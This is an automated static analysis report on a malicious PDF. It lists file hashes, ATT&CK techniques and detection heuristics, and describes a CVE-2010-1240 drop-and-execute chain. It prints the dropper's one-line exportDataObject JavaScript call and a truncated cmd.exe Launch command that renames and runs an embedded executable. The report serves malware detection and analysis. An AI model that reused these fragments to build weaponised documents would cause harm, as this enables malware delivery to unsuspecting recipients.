Malicious PDF — malware analysis report

Static analysis result for SHA-256 a457b0e6b6797715…

MALICIOUS

PDF

216.9 KB Created: 2009-09-26 07:34:11 +02:00 Authoring application: Writer (via OpenOffice.org 3.0) First seen: 2026-05-10
MD5: 38f39b47cc60e4a140366494fb72c351 SHA-1: f49d544920ea059ee541220394c59bccc9f26bc1 SHA-256: a457b0e6b6797715e323a619f0313dcd8bbbadabc3b5636815beed19b0171dd8
476 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that triggers a launch action, executing cmd.exe. This action is designed to rename an embedded executable payload from ADMPlugin.apl to ADMPlugin.exe and then execute it. The embedded document body discusses access token stealing, suggesting the payload is malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9985

Heuristics 12

  • Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD
    PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "%USERPROFILE%\\����\\ADMPlugin.apl" (cd/D "%USERPROFILE%\\����"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH
    An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
  • /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
    PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://dejavu.sourceforge.netFonts In extracted file (font_00_sfnt_off00014e11.bin)
    • http://www.monotype.comhttp://www.monotype.com/html/type/license.htmlIn extracted file (font_01_sfnt_off00018873.bin)
    • http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlUseIn extracted file (font_03_sfnt_off00023149.bin)
    • http://www.ascendercorp.com/liberation.htmlIn extracted file (font_03_sfnt_off00023149.bin)
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn extracted file (font_00_sfnt_off00014e11.bin)
    • http://www.monotype.com/html/mtname/ms_couriernew.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn extracted file (font_01_sfnt_off00018873.bin)

Extracted artifacts 12

Files carved from inside the sample during analysis.

FilenameKindSourceSize
ADMPlugin.apl pdf-embedded-file PDF EmbeddedFile object 109 at offset 0x35BFD 38400 bytes
SHA-256: c4fd9a56e98db7642397c747b99868e0056c40ee5a445a6e819900537db5d7d6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
actual_type=PE; declared_or_context_type=PDF; filename=ADMPlugin.apl; kind=pdf-embedded-file
javascript_obj0110_000.js pdf-javascript-stream PDF /JS object 110 at offset 0x35DEF 58 bytes
SHA-256: 35efbffd979ea858d6d8f7921ee358ca428a1c5a5ff180aba705d55c1f85cc16
Preview script
First 1,000 lines of the extracted script
this.exportDataObject({ cName: "ADMPlugin", nLaunch: 0 });
font_00_sfnt_off00014e11.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x14E11 22612 bytes
SHA-256: 36dfa1c87891f2f09b71980d1399f018c5caad03d1b1d29508739979b9ed4001
font_01_sfnt_off00018873.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x18873 39760 bytes
SHA-256: f027842567b04c926ad746e8dfdc4f8cdd2e3c7e0220264a22bb516569de8c36
font_02_sfnt_off0001e18a.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1E18A 33672 bytes
SHA-256: da753cc0b5163c9b6666572dbeb35b7b5caf4a56d9c22c99c36835925c000a71
font_03_sfnt_off00023149.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x23149 12752 bytes
SHA-256: 23ac8feb518c8c727acc6a954bb623e333337c9458521aed483fcc8d89f418c1
font_04_sfnt_off0002558e.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2558E 13136 bytes
SHA-256: c8fd7189737c38a43b9ba034337799f502028b5db5a6037bd1df4c486f3233e0
font_05_sfnt_off00027bf4.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x27BF4 27096 bytes
SHA-256: cf699c117fd0bb7368c625645b874f03c477a382b67075e98dd54d87de53958b
font_06_sfnt_off0002ca67.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2CA67 13700 bytes
SHA-256: 34829650519fe758a893e02057f5c7c1070378add027225386180ba60993be24
font_07_sfnt_off0002f2cf.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2F2CF 14892 bytes
SHA-256: bf36ecd37d117b665b1c68abb1c41fbb1a9d46c2c583bdb8512681835e553b91
font_08_sfnt_off00031db2.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x31DB2 13576 bytes
SHA-256: 37478039963094b7b89fb24df19adb1f5ee171f766ade680ac5516bb23ede59f
font_09_sfnt_off00033c21.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x33C21 1780 bytes
SHA-256: df903f2017d43426972294ce96b065da76255f4a0de84e466c7a4dd6181632c2